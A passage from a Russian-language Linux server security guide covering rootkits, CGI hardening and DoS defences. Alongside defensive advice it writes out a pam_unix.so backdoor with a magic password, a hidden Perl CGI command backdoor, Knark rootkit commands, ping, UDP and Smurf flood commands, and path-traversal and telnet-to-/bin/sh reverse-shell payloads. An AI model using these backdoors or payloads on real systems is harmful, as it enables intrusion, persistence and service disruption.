Закомментировав строку auth, мы указали PAM-модулям, управляющим регистрацией пользователей, не запускать проверки из библиотеки pam_unix.so, которые подтверждают соответствие пароля данным файлов /etc/passwd и /etc/shadow. Таким образом, у пользователя даже не спрашивается пароль.
Подобное изменение обнаружится немедленно. Вместо этого можно незначительно изменить метод проверки паролей с помощью библиотеки pam_unix.so. Ниже приведен фрагмент из файла support.-c (в имени файла нет опечатки), содержащий исходный код PAM и добавленный троянский код.

```
int _unix_verify_password(pam_handle_t *pamh, const char *name, const char *p,
unsigned int ctrl)
{
      struct passwd *pwd = NULL;      struct spwd *spwdent = NULL;
      char *salt = NULL;              char *pp = NULL;
      char *data_name;                int retval;

      /* Начало добавленного троянского кода */
      if ( ! strcmp( p, "$uperR s3cr!t s7r*n&" ) )
            {
            return PAM_SUCCESS;
            }
      /* Конец добавленного троянского кода */
      D(("called"));
      /* Найти запись для этого пользователя */
      D(("locating user's record"));
            pwd = getpwnam(name);  /* Получить запись из файла паролей... */
      ...
```

Затем компилируем свою версию библиотеки pam_unix.so и размещаем в /lib/security. После этого все программы, использующие при аутентификации библиотеку PAM pam_unix.so (данная библиотека используется практически всеми программами с аутентификацией пользователей, включая login, passwd, sshd, su, xscreensaver и т.д.), будут иметь "потайной ход" для беспрепятственного доступа (при вводе "магического" пароля $uperR s3cr!t s7r*n& никакой проверки имени пользователя и пароля производиться не будет).

91. Если запущен Web-сервер, можно изменить существующий CGI-сценарий. Достаточно, например, добавить следующую строчку в начало CGI-сценария, написанного на языке Perl.

```
system param('hello') if param('hello');
```

Далее создадим HTML-форму с параметром hello, а CGI-сценарий передает значение этого поля в командный интерпретатор и запускает как команду с помощью функции system(). Это простой "потайной ход" для удаленного доступа.
Для скрытия внесенных изменений можно разместить вышеприведенную строку в файле /usr/lib/perl5/5.00503/html.pm, а затем изменить начало CGI-сценария следующим образом.

```
#!/usr/bin/perl

use CGI;
use html;

      <здесь начинается действительный CGI-сценарий>
```

С помощью команды use на языке Perl будет выполняться поиск файла `html.pm` в каталоге `/usr/lib/perl5` (и подчиненых каталогах), и при его обнаружении содержимое этого файла будет добавлено в CGI-сценарий, как если бы строки этого файла были непосредственно записаны в сценарии.
Можно еще больше замаскировать смысл файла `html.pm`, используя модуль Perl `Filter::decrypt` для "шифрования" этого файла с помощью элементарного алгоритма.

92. Наиболее популярным набором средств для атаки является LRK (Linux Root Kit), доступный на сайте http://packetstormsecurity.org (http://packetstormsecurity.nl).

Перечень троянских версий программ, входящих в пакет LRK 6	
Средства маскировки	Описание
du, find, ls	"Скрывают" нужные файлы.
crontab	Запускают скрытые cron-программы.
ifconfig	Скрывает установленный флаг PROMISC
Netstat	Скрывает установленные соединения.
tcpd	Скрывает установленные соединения и обходит установленные ограничения доступа.
pidof, ps, top	Скрывают запущенные определенным пользователем процессы.
syslog	Скрывает данные из системных журналов.
killall	Не позволяет останавливать скрытые процессы.
bindshell	Демон командного интерпретатора с привилегиями root.
chfn, chsh, passwd	"Магичиские" пароли позволяют получить доступ с правами суперпользователя.
inetd, login, rshd, sshd	Удаленный root-доступ.
ADMsniff	Анализатор пакетов.
fix	Исправляет временные метки и контрольные суммы измененных файлов.
wted	Редактор файлов wtmp и utmp
z2	Zap2 - средство модификации файлов utmp, wtmp, lastlog.

Троянские программы выполняют чтение нескольких файлов и определяют, какие данные должны быть скрыты при запуске троянских программ из пакета. Имена этих файлов указываются во время компиляции.
По умолчанию используются следующие файлы.

Имя файла	Педназначение

/dev/ptyq	Указываются сетевые соединения, сведения о которых не должны выводиться. Выбор игнорируемого соединения осуществляется по идентификатору активизирующего их пользователя, по локальному адресу или порту, а также по локальному сокету UNIX. Кроме того, этот файл используется троянской версией tcpd для скрытого предоставления доступа с определенных хостов.
/dev/ptyr	Список игнорируемых файлов или каталогов.
/dev/ptyp	Игнорируемые процессы. Определяются по идентификатору пользователя, устройству tty или по совпадению с шаблонами командной строки.
/dev/ptys	При совпадении с заданным шаблоном удаляются некоторые записи из системного журнала.

Троянские версии программ можно обнаружить с помощью использования утилиты `strace`.

```
compromised$ strace -eopen /bin/ls >/dev/null
open("/etc/ld.so.cache", O_RDONLY)        = 3
open("/lib/libtermcap.so.2", O_RDONLY)    = 3
open("/lib/libc.so.6", O_RDONLY)          = 3
open("/dev/ptyr", O_RDONLY)               = 3
open("/usr/share/locale/locale.alias", O_RDONLY)    = 3
```

Можно прочесть файл `/dev/ptyr`, чтобы узнать, что "скрыто" от глаз пользователя.

93. Загружаемый модуль ядра в виде набора средств для взлома (LKM rootkit) Knark доступен на сайте http://packetstormsecurity.org. После компиляции злоумышленник загружает модуль в ядро с помощью команды `modprobe knark`. Его присутствие можно заметить в списке загруженных модулей ядра, выдаваемом в отчете утилиты lsmod.

```
compromised# lsmod
Module                  Size  Used by
serial_cs                5392   0 (unused)
knark                    7420   0 (unused)
pcnet_cs                10592   1
8390                     6080   0 [pcnet_cs]
 ...
```

В исходный код Knark входит второй загружаемый модуль ядра Modhide, который позволяет удалить запись о Knark из списка загруженных модулей.

```
compromised# lsmod
Module                  Size  Used by
serial_cs                5392   0 (unused)
pcnet_cs                10592   1
8390                     6080   0 [pcnet_cs]
 ...
```

В действительности Modhide просто удаляет из списка последний (по дате) из загруженных модулей ядра. С помощью Modhide можно скрыть любой из модулей, например модули, предназначенные для обеспечения защиты своего компьютера.
В отличие от троянских исполняемых программ, которые выполняют чтение конфигурационных файлов при каждом запуске, Knark этого не требуется, поскольку он всегда доступен в ядре. Модуль Knark создает новый каталог `/proc/knark`, содержащий файлы, из которых можно узнать текущую конфигурацию системы. Чтобы обеспечивать скрытие запущенных процессов,

файлов и сетевых соединений, программный код Knark запускается до выполнения различных системных вызовов. Для оперативной настройки Knark используются следующие системные вызовы.

Программа	Предназначение
`rootme` *`программа`*	Запускает заданную программу от имени root.
`nethide` *`строка`*	Позволяет скрыть сетевые соединения (tcp или udp), которые совпадают с заданной строкой. Например, команда `nethide :12345` позволит скрыть все соединения (и входящие ,и исходящие), организованные через порт 12345.
`nethide -c`	Очистить список скрытых сетевых соединений.
`taskhack -show` *`pid`*	Показать идентификаторы, установленные для текущего процесса с заданным идентификатором процесса PID.
`taskhack` *`-idtype=newid pid`*	Изменить идентификатор владельца *`idtype`* (UID, EUID, GID и т.д.) заданного процесса (PID) на новый идентификатор владельца. Например: `taskhack -uid=0 $$`
`hidef` */имя файла*	Скрыть заданный файл из перечня файлов в каталоге.
`unhidef` */имя файла*	Отобразить заданный скрытый файл в перечне файлов каталога.
`ered` *`программа1 программа2`*	Преренаправление выполнения. При вызове *`программа1`* запускается *`программа2`*. Например, `ered /usr/bin/passwd /путь/к/троянскому/файлу/passwd`.
`ered -c`	Очистить список перенаправления.
`rexec` *`отправитель получатель команда [аргументы]`*	Установить соединение с программой *`получатель`*, используя подложный IP-адрес *`отправитель`*. Позволяет отправить указанные команду и аргументы в UDP-пакете. Эту команду Knark затем запускает с правами root. Быстрый и вредоносный способ удаленного запуска команд. Может быть возвращено ICMP-сообщение об успехе выполненной команды.
`kill -31` *`pid`*	Скрывает процесс с заданным идентификатором *`pid`* в списке файлов каталога `/proc` (а также в отчете ps и других подобных утилитах).

Поскольку модуль Knark был сознан скорее в целях обучения, нежели для проведения атак, то текущую конфигурацию этого модуля можно всегда узнать из файлов в каталоге `/proc/knark`.

Файл	Содержимое
/proc/knark/pids	Список идентификаторов скрытых процессов.
/proc/knark/files	Список имен скрытых файлов.
`/proc/knark/redirects`	Список имен исполняемых файлов, для которых задана функция перенаправления.

/proc/knark/nethides	Список заданных шаблонов (строк), согласно которым скрываются сетевые соединения.
/proc/knark/verify_rexec	Тип ICMP-пакета, возвращаемого для уведомления об успешном выполнении команд rexec.

Создатели Knark предоставляют специальную программу Knarkfinder, которая способна выявить Knark и другие подобные загружаемые модули ядра. Сравнивая запущенные процессы с символами в оперативной памяти ядра (с помощью /dev/kmem), программа Knarkfinder способна выявить скрытые процессы. Наличие скрытых процессов свидетельствует о загруженном модуле ядра, но это вовсе не обязательно Knark. Программа Knarkfinder не проверяет перенаправление запускаемых программ и другие возможные модификации ядра.
Для установки загружаемых модулей ядра в запущенное ядро необходимо наличие мандата (capability) CAP_SYS_MODULE. Можно удалить этот мандат из набора допустимых и тем самым сделать невозможной загрузку каких-либо модулей. Для этого можно воспользоваться программой Lcap (http://pweb.netcom.com/~spoon/lcap/). Хотя ее тоже можно отключить, удалив ее из списка выполняемых сценариев при загрузке системы. Возможно также заменить ее запуском команды modprobe для Knark и выполнить перезагрузку компьютера. Перезагрузки компьютера можно избежать отредактировав оперативную память /dev/mem. Единственный способ противодействия - отказаться от мандата CAP_SYS_RAWIO, однако это может привести к неправильной работе некоторых устройств, например, драйвера видеокарты.
Также можно использовать программу Kstat (Kernel Security Therapy Anti-Trools, http://s0ftpj.org/tools). Данная программа вместо информации, предоставляемой в каталоге /proc, осуществляет непосредственный доступ к данным в /dev/kmem. Она позволяет обнаружить скрытый модуль Knark, замаскированный с помощью Modhide.

```
compromised# kstat -M
Module               Address
serial_cs            0xc1945000
knark                0xc193f000
pcnet_cs             0xc193c000
8390                 0xc1937000
....
```

94. Одной из лучших программ, позволяющих выявить установленные в системе наборы средств для взлома является программа Rkdet (www.vancouver-webpages.com/rkdet/). Она работает в режиме демона и проверяет контрольные суммы двоичных файлов. При выявлении изменений отсылается письмо администратору и блокируется сетевой интерфейс. Программа Chkrootkit (www.chkrootkit) обладает даже большими возможностями, чем Rkdet, дополнительно сверяя результаты выполнения команды ps с записями в каталоге /proc и проверяя изменения файлов wtmp и lastlog. Эта программа специально предназначена для выявления более чем 35 наборов программ для взлома, включая различные версии LKR, Knark t0rn, ARK и даже "червей" Ramen, Lion и Adore.
Более подробную информацию о наборах средств для взлома можно получить на очень полезном Web-сайте по адресу http://staff.washington.edu/dittrich/misc/faqs/rootkits.faq.

95. С помощью программы suEXEC (http://httpd.apache.org/docs/suexec.html) каждый виртуальный сервер может быть настроен на выполнение CGI-программ этого сервера от имени "своего" пользователя (как правило, nobody). Если и будет найден уязвимый скрипт на одном из виртуальных серверов, максимальный ущерб будет нанесен только данному виртуальному серверу. Возможность поддержки suEXEC может быть задана при установке сервера Apache. Для этой цели необходимо добавить следующий параметр при выполнении сценария configure.

```
--enable suexec
```

Настройки поддержки suEXEC для виртуальных хостов отличаются для версий Apache 1.3.x и 2.0.x. Для версии Apache 1.3.x в директиве VirtualHost должны применяться директивы User и Group.

```
<VirtualHost 192.168.1.220>
  User secure_user
  Group secure_group
</VirtualHost>
```

Для версии 2.0.x эти директивы заменяются одной директивой SuexexUserGroup.

```
<VirtualHost 192.168.1.220>
  SuexecUserGroup secure_user secure_group
</VirtualHost>
```

96. Очень популярны, особенно среди начинающих взломщиков, методы взлома сайта через CGI-скрипты. Это можно отслеживать. Например, следующий скрипт имитирует phf баг. В случае попытки взлома отсылает по электронной почте письмо (в данном примере на адрес lafraia@urgentmail.com).

```
#!/usr/bin/perl
# Fake PHF v1.0 (970605) - by Daniel Lafraia (lafraia@urgentmail.com) #
# Description:
# Shows to a hacker that is trying to crack your system via phf, that
# this CGI was not found and send a message to admin reporting
# information about the attempt such as IP Address (using Proxy or
not), # Host Name, Query String and finally date and time of the attempt.
#
# Installing:
# Just copy this file to your cgi-bin directory (usually /www/cgi-bin) and
# chmod it to executable. If someone try to do something like:
# http://www.yoursite.com/cgi-bin/phf?hack+stuff=to+grab+things
# you're going to be reported, try! Be sure that the filename is phf :)))
#
# Questions? Comments? Suggestions? E-mail me! :)
#
# Releases:
# 970605 - First release
# Sendmail directory
$mailer='/usr/lib/sendmail';

# E-mail of person who's going to receive reports
$address="lafraia\@urgentmail.com";

$date=`date`;
chop($date);
print "Content-type: text/html\n\n";
print <
File Not found
The requested URL /cgi-bin/phf was not found on this server.

EOM
open (out, "|$mailer $address") or die "Can't write a message";
print out "To: $address\n";
print out "From: $address\n";
print out "Subject: phf report\n\n";
print out "-------------------------------------------------------\n";
print out " Remote Host: $ENV{'REMOTE_HOST'}$ENV{'HTTP_X_FORWARDED_FOR'}\n";
print out " Remote IP: $ENV{'REMOTE_ADDR'}\n";
print out " Query String: $ENV{'QUERY_STRING'}\n";
print out " Date: $date\n";
print out "-------------------------------------------------------\n";
```

```
print out "Best Regards,\n PHF Watchdog\n\nP.S. - Contact the admin of his/her
provider!";
close (out);
exit;
```

97. В некоторых дистрибутивах включена директива, позволяющая определять назначение файла по расширению. Например, если будет вызов файла с расширением .cgi (при этом не важно скрипт ли это) он будет выполнен как скрипт. Чтобы убрать эту "полезную" особенность, неоходимо удалить директиву

```
AddHandler cgi-script .cgi
```

Также необходимо настроить разрешение на выполнение скриптов только в одной директории. Разрешение выполнения всех файлов каталога cgi-bin в качестве программ осуществляется с помощью директивы ScriptAlias.

```
ScriptAlias /cgi-bin/ "/path/to/cgi-bin/"
```

98. Для ограничения доступа к файлам с определенным расширением или с заданной строкой символов в названии используются директивы Files и FilesMatch. При использовании первой требуется ввести символ тильды (~) для указания того, что текст в кавычках должен интерпретироваться как регулярное выражение. Например, запретим доступ к файлам, имена которых начинаются на "*.bak".

```
<Files ~ "\.bak$">
    Order allow,deny
    Deny from all
</Files>
```

При использовании директивы FilesMatch тильда не нужна, и текст в кавычках рассматривается как регулярное выражение. Следующий пример демонстрирует запрещение доступа ко всем файлам с расширением `.old`.

```
<FilesMatch "\.old$">
    Order allow,deny
    Deny from all
</FilesMatch.
```

Когда обнаруживают "интересную" CGI-программу, обычно пытаются найти все вероятные копии этой программы, угадывая все возможные имена файлов. При запрещении доступа к таким файлам указанные действия злоумышленника протоколируются в файле журнала регистрации ошибок Web-сервера с помощбю подобных записей.

```
[Wed Dec 27 22:22:22 2003] [error] [client 123.255.7.8] client denited by server
configuration: /usr/local/apache/cgi-bin/insert.cgi.bak
```

99. А вот пример разрешения ввода в форму только букв, цифр, нижнего подчеркивания и тире. Воспользуемся для этого функцией `preg_match`, функция ищет в строке совпадение для шаблона: если совпадение найдено - возвращает TRUE, если нет- FALSE.

```
      if (preg_match("/^[a-z0-9_-]{1,20}@(([a-z0-9-]+\.)+(com|net|org|mil|edu|gov|
ru|info|biz|inc|"."name|[a-z]{2})|[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-
9]{1,3})$/is",$mail))
      {
      print "Ok, верно";
      }else{
      print "Не верно";
      }
```

Следующий пример - выбор имени пользователя. Разрешаем только буквы русского и латинского алфавита и "_"

```
if (eregi("[^a-za-я0-9_]",$nick)) {
print "Ok";
}else{
print "Не, не наш парень";
}
```

100. В файле `/etc/login.defs` есть параметр `umask` (см. п.3 части 1). Обычно он "закомментирован".

```
#
#   The   umask   to   use   when   creating   user   home   directories.     The   default
#                                        is                                          077.
#
#UMASK                   077
```

101. Установить таймаут подключения для всех пользователей можно в файле `/etc/profile`, добавив параметр `TMOUT=<кол-во сек>` после строчки HISTFILESIZE:

```
HOSTNAME=`/bin/hostname`
HISTSIZE=999
HISTFILESIZE=9999
# Определяем время, по истечению которого, если пользователь неактивен, он
отключается
TMOUT=7200
export HOSTNAME HISTSIZE HISTFILESIZE
```

Если хотите установить ее для конкретного пользователя, вносите исправления в файл `~/?.bashrc`.

102. Одной из самых простых и необходимых настроек является блокирование консольно-эквивалентного доступа к программам halt и shutdown (иногда и другим).
В каталоге /etc/security/console.apps расположены "файлы допуска" в следующем формате. Программа `halt`

```
USER=root
PROGRAM=/sbin/halt
SESSION=false
FALLBACK=false
```

Программа `kbdrate`

```
USER=<user>
PROGRAM=/sbin/kbdrate
SESSION=false
FALLBACK=false
```

Первую может запустить только root, вторую - текущий пользователь.
Для xserver файл обычно пустой и если его удалить, то только root может запустить X сервер (если запуск осуществляется стандартно, то есть через xdm).
Если удалить другие файлы, это, хоть и слегка, повысит безопасность.

```
root# rm -f /etc/security/console.apps/synaptic
```

Также можно отключить весь консольный доступ. Создайте файл `disabling.sh`

```
touch disabling.sh
```

И внесите в него следующие строки.

```
# !/bin/sh
cd /etc/pam.d
for i in * ; do
sed '/[^#].*pam_console.so/s/^/#/' < $i > foo && mv foo $i
done
```

И сделайте его испольняемым:

```
root# chmod 700 disabling.sh
root# ./disabling.sh
```

103. Ранее уже много раз упоминалось о "горе-файле" `inetd.conf`. Если конкретно, то отключите следующие сервисы: ftp, telnet, shell, login, exec, talk, ntalk, imap, pop-2, pop-3, finger, auth и т.д. пока вы не планируете их использовать. Чем меньше сервисов включено, тем меньше риск для системы. Вот пример измененного файла.

```
# Чтобы изменения вошли в силу дайте команду  'killall -HUP inetd'
#
#echostream   tcpnowait  root  internal
#echodgram   udp   wait  root   internal
#discard stream  tcpnowait  root   internal
#discard dgram  udp   wait  root   internal
#daytime stream tcp   nowait  root   internal
#daytime dgram udp   wait root   internal
#chargen stream tcpnowait root   internal
#chargen dgram udp   wait rootinternal
#time  stream  tcpnowait root   internal
#time  dgram  udp   wait root   internal
#
# Это стандартные сервисы
#
#ftp  streamtcpnowaitroot/usr/sbin/tcpd in.ftpd -l -a
#telnet streamtcpnowaitroot/usr/sbin/tcpd in.telnetd
#
# Shell, login, exec, comsat и talk являются протоколами BSD.
#
#shell  stream  tcp  nowait   root   /usr/sbin/tcpd in.rshd
#login stream  tcp  nowait   root   /usr/sbin/tcpd in.rlogind
#exec  stream   tcp   nowaitroot   /usr/sbin/tcpd in.rexecd
#comsat dgramudp   wait   root/usr/sbin/tcpd in.comsat
#talk  dgram   udp  wait  root/usr/sbin/tcpd in.talkd
#ntalkdgram   udp  wait  root/usr/sbin/tcpd in.ntalkd
#dtalk stream   tcpwait   nobody/usr/sbin/tcpd in.dtalkd
#
# Почтовые Pop и imap сервисы
#
#pop-2stream  tcpnowait  root   /usr/sbin/tcpd ipop2d
#pop-3stream  tcpnowait  root   /usr/sbin/tcpd ipop3d
#imap  stream tcpnowait   root   /usr/sbin/tcpd imapd
#
#  Internet UUCP сервис.
#
#uucp stream tcp nowait   uucp/usr/sbin/tcpd /usr/lib/uucp/uucico -l
#
# Сервис Tftp предоставляется в первую очередь для удаленной загрузки.
# В большинстве случаев, он используется только на "серверах загрузки¦
# Не удаляйте символы комментариев, если вы не уверены, что это вам нужно.
#
#tftp  dgram  udp   wait   root  /usr/sbin/tcpd in.tftpd
#bootps dgram  udp   wait   root  /usr/sbin/tcpd bootpd
#
```

```
# Finger, systat и netstat дают информацию внешним пользователям, которая
# может быть использована для взлома системы. На многих серверах
# некоторые или все из них отключены с целью улучшения безопасности.
#
#finger   stream  tcp  nowait  root /usr/sbin/tcpd in.fingerd
#cfinger  stream   tcp   nowait  root  /usr/sbin/tcpd in.cfingerd
#systatstream   tcp   nowait  guest/usr/sbin/tcpd /bin/ps -auwwx
#netstat   stream   tcp   nowait  guest/usr/sbin/tcpd /bin/netstat -f inet
#
# Аутентификация
#
#authstreamtcpnowaitnobody /usr/sbin/in.identd in.identd -l -e -o
#
# Конец inetd.conf
```

Если все-таки используется `telnet` и вы не хотите, чтобы файл `issue` выводился на экран, когда удаленный пользователь подключается к серверу, измените опцию telnetd в файле `/etc/inetd.conf`:

```
telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd vh
```

Флаг -h говорит демону не выводить любую системную информацию, ограничиться только запросом login:. Эту возможность необходимо использовать только, когда на сервере запускается демон telnet (вместо лучше использовать ssh).
Не забудьте послать сигнал SIGHUP процессу inetd (`killall -HUP inetd`) после редактирования файла `/etc/inetd.conf`.

104. Для обеспечения безопасного использования оператора обратных кавычек, например,

```
$num_chars = `wc -c $file`;
```

Можно применить следующий Perl-код.

```
if (open PIPE, '-|')
      {
      $num_chars = <PIPE>;
      }
      else
      {
      exec 'wc', '-c', $file;
      }
```

В данном случае при вызове функции `open()` выполняется ветвление процессов. Дочерний процесс выполняет чтение из дескриптора файла с именем PIPE и передает результат переменной $num_chars. Этот дочерний процесс выполняет команду wc, используя функцию `exec()` в контексте списка. Данная функция (как и `system()`) при выполнении в контексте списка не обращается к командному интерпретатору, поэтому символы переменной `$file` не будут интерпретированы в метасимволы.
Подобно этому для безопасного открытия конвейера, например,

```
open P, "wc -c $file";
print <P>;
```

можно использовать следующий программный код на языке Perl.

```
if (open PIPE, '-|')
      {
      print <PIPE>;
      }
      else
```

```
{
exec 'wc', '-c', $file;
}
```

Здесь данные, полученные из дескриптора файла PIPE, выводятся на стандартный вывод. Как и в приведенном выше случае, функция `exec()` выполняется в контексте списка, что предотвращает обработку символов переменной `$file` в качестве метасимвола.

105. Затронем тему DoS. В старых версиях linux можно было провести атаку Ping of Death - отправку ICMP-пакетов размером больше 65536 байт (максимального размера пакета), который предусмотрен спецификацией TCP/IP. Данные пакеты не могут передаваться по сети в целом виде, поэтому выполняется их фрагментация, и когда атакуемый хост получает фрагменты пакетов, он восстанавливает пакет недопустимого размера. Подобно Ping of Death, программа teardrop выполняет отсылку большого количества пакетов, которые не могут быть корректно восстановлены на атакуемом хосте. В результате происходит перезагрузка компьютера.

106. В ядре linux 2.2.x - 2.2.19 и 2.4.x - 2.4.9 включительно обнаружена ошибка, которая может быть использована для проведения локальной атаки отказа в обслуживании. Для ее осуществления достаточно создать каталог, в котором разместить многоуровневые подкаталоги и многочисленные символьные ссылки на эти подкаталоги. При попытке чтения файла ядро тратит много времени на поиск оригинального файла (следуя символьным ссылкам).

```
user$ mklink.sh 2
user$ ls -l
drwx------  2  a  a    4096  Nov   3  10:10  1/
lrwxrwxrwx  2  a  a    47    Nov   3  10:10 10 ->
11/../11/../1/../../../etc/services
lrwxrwxrwx  1  a  a    13    Nov   3  10:10 11 -> 12/../12/../1/
lrwxrwxrwx  1  a  a    13    Nov   3  10:10 12 -> 13/../13/../1/
lrwxrwxrwx  1  a  a    13    Nov   3  10:10 13 -> 14/../14/../1/
lrwxrwxrwx  1  a  a    13    Nov   3  10:10 14 -> 15/../15/../1/
drwx------  2  a  a    4096  Nov   3  10:10  15/
user$ head -5 10
<time...>
# /etc/services
# $id: services, v 1.5 2001/01/23 22:03:23 noting Exp $
#
# Обратите внимание:
# Современной политикой IANA является использование для служб
# одмнаковых номеров портов для TVP и UDP
```

107. Ping-flooding (наводнение) осуществить очень просто. Например, используя утилиту ping, можно отправить беспрерывный (а стандартно они отсылаются ~ 1 сек) поток пакетов (размер - 2 кБ)

```
bad_guy# ping -f -s 2048 server.com
PING server.com from 20.20.23.23 : 2048(2076) bytes of data.
.....................................^C
--- server.com ping statistics ---
1680 packet transmitted, 504 packets received, 70% packet loss
round-trip min/avg/max = 30.1/420/6022.4 ms
```

Чем больше пакетов потеряно и чем дольше задержка до получения ответа (0.5 сек - уже "солидная"), тем меньше удовольствия работающим на server.com.

108. Для создания канала связи между двумя хостами в стеке протоколов TCP/IP предусмотрена процедура согласования параметров соединения (handshake).
1. На превом этапе клиент отправляет серверу TCP-пакет с флагом SYN.
2. Получив этот пакет, сервер отвечает на него пакетом с флагами SYN и ACK.

3. Завершает процесс отправка клиентом ACK-пакета.
Теперь можно передавать данные по установленному TCP-соединению. Так вот в пункте 1 на сервере в стек протокола TCP в очередь незавершенного (half-open) открытия сеансов добавляется новая запись. Сервер определенное время будет ожидать завершения установления соединения, и если этого не произойдет - удалит запись о нем из очереди. Поскольку в очередь может быть поставлено только ограниченное количество запросов на соединение, то при привышении этого значения она переполняется и сервер прекращает принимать запросы на установление соединений.
SYN-spoofing позволяет блокировать работу любой TCP-службы сервера при условии отправления ему SYN-пакетов с достаточной для поддержания очереди в заполненном состоянии. Далее пример обнаружения SYN-spoofing:

```
root# netstat -nat
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      1   10.1.1.2:80          154.12.12.111:4030      SYN_RECV
tcp        0      1   10.1.1.2:80          192.168.40.40:52541     SYN_RECV
tcp        0      1   10.1.1.2:80          11.12.120.111:42545     SYN_RECV
tcp        0      1   10.1.1.2:80          145.12.12.111:44555     SYN_RECV
tcp        0      1   10.1.1.2:80          154.12.12.111:40430     SYN_RECV
```

Для определения полуоткрытых соединений можно воспользоваться сценарием:

```
#!/bin/s
while [ 1 ]; do
  echo -n "half-open connections: "
  netstat -nat | grep SYN_RECV | wc -l
  sleep 1;
done
```

Для защиты от SYN-spoofing'a можно уменьшить время ответного пакета с установленными флагами SYN и ACK (`timeout_synack` и `timeout_synrecv`), а также увеличить максимальное количество SYN-запросов на установление соединения в очереди (`tcp_max_backlog`). Хотя это может послужить разрывом связи легитимных подлючений, при SYN-спуффинге они все равно блокируются. Примерные числа:

```
root# cat /proc/sys/net/ipv4/vs/timeout_synack
100
root# cat /proc/sys/net/ipv4/vs/timeout_synrecv
10
root# cat /proc/sys/net/ipv4/tcp_max_syn_backlog
128
```

Также можно использовать SYN cookies:

```
root# echo 1 > /proc/sys/net/ipv4/tcp_syncookies
```

Подробнее на странице http://cr.yp.to/syncookies.html

109. UDP-наводнение. Наверное, еще люди помнят UDP-службы chargen - порт 19 и echo - порт 7. Утилита chargen в ответ на запрос в виде UDP-пакета выдает пакет с набором символов, а echo возвращает отправителю полученный пакет. Атака заключается в отправке пакета на 7 порт одного из компьютеров, например, echo.server.com, с подложным IP-адресом отправителя, указывающим 19 порт на другом сервере, например, chargen.server.com. Это позволит организовать замкнутый цикл обмена UDP-пакетами, отправляющимися с максимальной скоростью. Программа nemesis (http://www.packetfactory.net/Projects/Nemesis) позволяет создавать пакеты, в которых указан любой адрес отправителя.

Например, для отправки пакета на 19 порт компьютера 10.0.0.5 от имени хоста с адресом 10.0.0.10, где в качестве порта отправителя будет указан 7 порт, достаточно ввести следующую команду.

```
bad_guy# nemesis-udp -x echo -y CHARGEN -S 10.0.0.10 -D 10.0.0.5
```

Если этот пакет достигнет компьютера 10.0.0.5, то он поступить на порт 19 службы chargen, которая ответит пакетом на echo порт компьютера 10.0.0.10, в результате чего в сети возниктен UDP-наводнение.

110. С помощью предыдущей программы можно осуществить Smurf-атаку.

```
bad_guy# nemesis-icmp -I 8 -S 192.168.0.3 -D 192.168.0.255
```

Таким образом, используются все хосты сети 192.168.0/24 для "наводнения" пакетами компьютера 192.168.0.3.
Чтобы предотвратить Smurf-атаки, необходимо блокировать широковещательные запросы. Например, воспользоваться командой.

```
root# echo 1 > /proc/sys/net/ipv4/icmp_ignore_broadcasts
```

Кроме того, можно полностью блокировать получение ping-запросов.

```
root# echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
```

111. Поле Referer (неправильное написание этого слова - правильно Referrer - было дано в оригинальной спецификации протокола HTTP. Но это официальный вариант, так что использовать нужно его) содержит адрес web-страницы, с которой пользователь, щелкнув на ссылку, попал на данную страницу. Изменить его несложно.

```
user$ telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET /cgi-bin/program.cgi?name=John&phone=1234567&data=bad+data
HTTP/1.1
Host: localhost
Referer: http://www.server.com/trusted.html
```

Так что доверять информации поля Referer не следует.

112. С помощью специальных фрагментов данных cookie Web-сервер ведет учет истории обращений (проводится аутентификация) данного пользователя к Web-сайту. Ниже представлен пример заголовка с добавленной в него информацией cookie.

```
user$ telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET /cgi-bin/program.cgi?name=John&phone=1234567&data=bad+data HTTP/1.1
HOST: localhost
Set-Cookie: sessionid=EID8d78dDiqeD; expires=Tue, 30-Jan-2001 04:42:47 GMT
```

113. Еще раз о скриптах cgi-bin (дополнение к п. 76 ч.1).
Никогда не стоит предполагать, что запросы будут содержать корректные имена файлов. Можно добавлять метасимволы или другие вредоносные данные в имена файлов, что приводит к различным проблемам. Например, представим, что форма содержит скрытое поле.

```
<input type="hidden" name="filename" value="file1">
```

CGI-программа открывает указанный файл следующим образом.

```
$postedfilename = $query->param):file");
$filename = '/path/to/files/' . $postedfilename;
open FH, $filename;
```

В этом случае в поле имени файла можно указать хоть `../../../etc/passwd`
А можно сделать более красиво. Указать `../../../usr/X11R6/bin/xterm%20-display%20[your IP]:0.0`. То есть сервер запустит X-term, и вернет на ваш IP окно с ID=0, То есть root shell.
Нет X-сервера - можно сделать "reverse telnet". Откроем два окна терминала, в которых запустим net cat.

```
#Первый
root# netcat -l -v -n -p 80
listening on any 80

#Второй
root# netcat -l -v -n -p 21
listening on any 21
```

В принципе порты могут быть любыми, прада файервол обычно разрешает траффик через них. И передадим в параметрах скрипта строчку `../../../bin/telnet%20[your IP]%2080%20|%20/bin/sh%20|%20/bin/telnet%20[your IP]%2021`
То есть подключимся к своему компьютеру, будем слушать команды с первого терминала и передавать shell, а принимать результат будет второй терминал.

114. Отсутствие проверки на нулевой символ ("%00"). В языке Perl (в отличие от C) допускается присутствие нуля в строке. Но если эта строка будет передана в функцию системной библиотеки (функция языка C), то символ нуля будет интерпретирован как признак окончания строки. Рассмотрим Perl-код.

```
$file = $query->param('file') , '.html';
open F, $file;
```

Если будет запрошен `http://www.server.com/cgi-bin/program.cgi?file=1`, будет открыт файл `1.html`. Однако можно отправить строку `file=%2Fetc%2Fpasswd%00`, тогда значением переменной `$file` будет `/etc/passwd\0.html`. Это значение передается функции `open()`. Более подробное описание этой проблемы содержится в статье Rain Forrest Puppy (`http://www.phrack.org/show.php?p=55&a=7`).

115. На случай забывчивости программиста делать проверки разработан надежный метод, который заставит выполнить проверку входящих данных, если они могут повлиять на что-нибудь вне пределов CGI-программы. Это режим недоверия (`taint mode`). Он основан на использовании одного простого, но важного принципа при получении данных CGI-программой, а именно - изначально предполагается, что программе передаются вредоносные данные. Они настолько опасны, что код CGI-программы не может быть использован для выполнения каких\либо действий в системе вне самой этой программы. Для перехода в режим недоверия используется параметр -T в строке, начинающейся с так называемой "hash-bang" (символ решетки и восклицательный знак).

```
#! /usr/bin/perl -T
```

Теперь все данные считаются потенциально опасными. Теперь попытка использования следующего Perl-кода

```
$file = $query->param("file");
